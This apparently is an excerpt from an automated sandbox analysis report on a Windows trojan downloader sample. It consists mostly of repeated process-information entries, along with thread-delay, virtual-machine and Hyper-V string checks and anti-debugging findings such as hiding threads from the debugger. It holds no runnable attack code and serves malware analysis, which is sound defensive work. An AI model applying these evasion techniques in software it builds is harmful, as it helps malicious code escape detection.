Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Code function: 0_2_00A66543 push es; retf
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Code function: 5_2_00402AC0 push eax; ret
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Code function: 5_2_00402AC0 push eax; ret
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Code function: 5_2_00636543 push es; retf
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Code function: 5_2_00638B7D pushfd ; iretd

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe TID: 5728	Thread sleep time: -1320000s >= -30000s
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe TID: 5728	Thread sleep time: -60000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Code function: 5_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,

Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.302539282.0000000005460000.00000002.00000001.sdmp, WerFault.exe, 00000008.00000002.296625095.00000000053E0000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: WerFault.exe, 00000008.00000003.292790829.00000000033A6000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW0
Source: WerFault.exe, 00000008.00000002.295732159.0000000003348000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW
Source: WerFault.exe, 00000008.00000002.296545680.00000000051C7000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAWen-USn
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.302539282.0000000005460000.00000002.00000001.sdmp, WerFault.exe, 00000008.00000002.296625095.00000000053E0000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.302539282.0000000005460000.00000002.00000001.sdmp, WerFault.exe, 00000008.00000002.296625095.00000000053E0000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000005.00000002.513547746.0000000000E08000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.302539282.0000000005460000.00000002.00000001.sdmp, WerFault.exe, 00000008.00000002.296625095.00000000053E0000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Process information queried: ProcessInformation

Anti Debugging:

Contains functionality to hide a thread from the debugger

Show sources

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Code function: 0_2_0303B8B0 NtSetInformationThread ?,00000011,?,?,?,?,?,?,?,0303C41F,00000000,00000000

Hides threads from debuggers

Show sources

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Thread information set: HideFromDebugger
